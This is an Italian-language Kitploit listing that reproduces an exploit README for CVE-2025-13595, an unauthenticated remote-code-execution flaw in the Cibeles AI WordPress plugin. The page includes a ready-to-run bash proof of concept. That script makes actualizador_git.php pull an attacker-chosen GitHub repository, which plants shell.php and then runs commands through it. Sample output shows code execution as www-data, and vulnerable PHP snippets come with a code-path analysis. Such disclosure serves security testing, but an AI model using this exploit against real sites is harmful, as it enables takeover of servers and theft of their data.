Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-13595 — CIBELES AI <= 1.10.8 - Caricamento Arbitrario di File senza Autenticazione | Kitploit
Strumenti/GitHubGitHub/d0n601/cve-2025-13595
Generazione di PayloadAnalisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration Testing
GitHubd0n601/cve-2025-13595

CVE-2025-13595

CIBELES AI <= 1.10.8 - Caricamento Arbitrario di File senza Autenticazione

Vedi Repository
18 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CIBELES AI <= 1.10.8 - Caricamento Arbitrario di File non Autenticato

Il plugin WordPress Cibeles AI nelle versioni 1.10.8 e precedenti contiene una vulnerabilità di esecuzione remota di codice non autenticata nel file actualizador_git.php. Questo file è accessibile direttamente via HTTP senza alcun controllo di autenticazione o autorizzazione, consentendo ad attaccanti non autenticati di scaricare repository GitHub arbitrari e sovrascrivere i file del plugin, portando all'esecuzione remota di codice.

Riepilogo degli Exploit

Viene fornito CVE-2025-13595.py per dimostrare un attaccante remoto che carica shell.php ed esegue codice remoto:

root@kitploit:~
python3 CVE-2025-13595.py -t http://techcorp.cc -o d0n601 -r minimal-rce -k github_pat_YOURKEYHERE -c whoami
[*] Exploiting actualizador_git.php vulnerability...
[*] Downloading and installing shell from GitHub repository: d0n601/minimal-rce
Descargando d0n601/minimal-rce@main ...
Eliminando entradas extra...
Copiando archivos...
OK. Mirror aplicado en: /var/www/html/wp-content/plugins/cibeles-ai

[*] Exploit executed. Checking if shell.php was created...

[*] Testing shell access...
www-data


[*] Shell should be accessible at:
    http://techcorp.cc/wp-content/plugins/cibeles-ai/shell.php?cmd=COMMAND

Analisi Tecnica

La vulnerabilità risiede in /wp-content/plugins/cibeles-ai/actualizador_git.php. Questo file implementa un sistema di mirroring di repository GitHub che può essere accessibile direttamente via HTTP senza alcun controllo di sicurezza.

Analisi del Percorso del Codice

  1. Accesso Diretto al File (Righe 1-17): Il file manca del controllo standard WordPress ABSPATH (if (!defined('ABSPATH')) exit;) che impedisce l'accesso HTTP diretto. I parametri vengono letti direttamente da $_GET senza validazione:

    root@kitploit:~
    $OWNER = $_GET['owner'] ?? 'cibeles';
    $REPO  = $_GET['repo']  ?? 'svn_cibeles-ai';
    $REF   = $_GET['ref']   ?? 'main';
    $TOKEN = $_GET['token'] ?? 'PON_AQUI_TU_TOKEN_PAT';
    
  2. Validazione del Token (Riga 26): L'unica validazione verifica se il token è vuoto o il valore predefinito. Non viene eseguita alcuna autenticazione o autorizzazione:

    root@kitploit:~
    if ($TOKEN === '' || $TOKEN === 'PON_AQUI_TU_TOKEN_PAT') { 
        http_response_code(400); 
        exit("Falta token\n"); 
    }
    
  3. Richiesta API GitHub (Riga 31, 35-58): Lo script scarica un file ZIP dall'API di GitHub utilizzando parametri controllati dall'utente:

    root@kitploit:~
    $apiUrl = "https://api.github.com/repos/{$OWNER}/{$REPO}/zipball/" . rawurlencode($REF);
    curl_download($apiUrl, $zip, $TOKEN);
    

Proof of Concept

root@kitploit:~
TARGET="http://example.com"
OWNER="your_username"
REPO="minimal-rce"
TOKEN="github_pat_blablabla"

COMMAND="whoami"

echo "[*] Exploiting actualizador_git.php vulnerability..."
echo "[*] Downloading and installing shell from GitHub repository: ${OWNER}/${REPO}"

curl -s "${TARGET}/wp-content/plugins/cibeles-ai/actualizador_git.php?owner=${OWNER}&repo=${REPO}&ref=main&token=${TOKEN}"

echo ""
echo "[*] Exploit executed. Checking if shell.php was created..."
echo ""

echo "[*] Testing shell access..."
curl -s "${TARGET}/wp-content/plugins/cibeles-ai/shell.php?cmd=${COMMAND}"

echo ""
echo ""
echo "[*] Shell should be accessible at:"
echo "    ${TARGET}/wp-content/plugins/cibeles-ai/shell.php?cmd=COMMAND"
Scarica lo strumento

La funzione curl_download() invia il token nell'header Authorization ma non esegue alcuna validazione del proprietario o del contenuto del repository.

  • Estrazione ZIP e Operazioni sui File (Righe 133-158): Il ZIP scaricato viene estratto e i file vengono copiati direttamente nella directory del plugin:

    root@kitploit:~
    $zipArc->extractTo($extractDir);
    $rootInsideZip = $extractDir . DIRECTORY_SEPARATOR . $entries[0];
    rrcopy_into($rootInsideZip, $cwd);
    

    La funzione rrcopy_into() copia ricorsivamente tutti i file dal repository estratto alla directory di lavoro corrente (directory del plugin), sovrascrivendo i file esistenti.

  • Eliminazione dei File (Righe 152-154): I file non presenti nel repository scaricato vengono eliminati:

    root@kitploit:~
    mirror_delete_extras($cwd, $keepSet, $PRESERVE);
    

    La funzione mirror_delete_extras() elimina tutti i file nella directory del plugin che non esistono nel manifest del repository.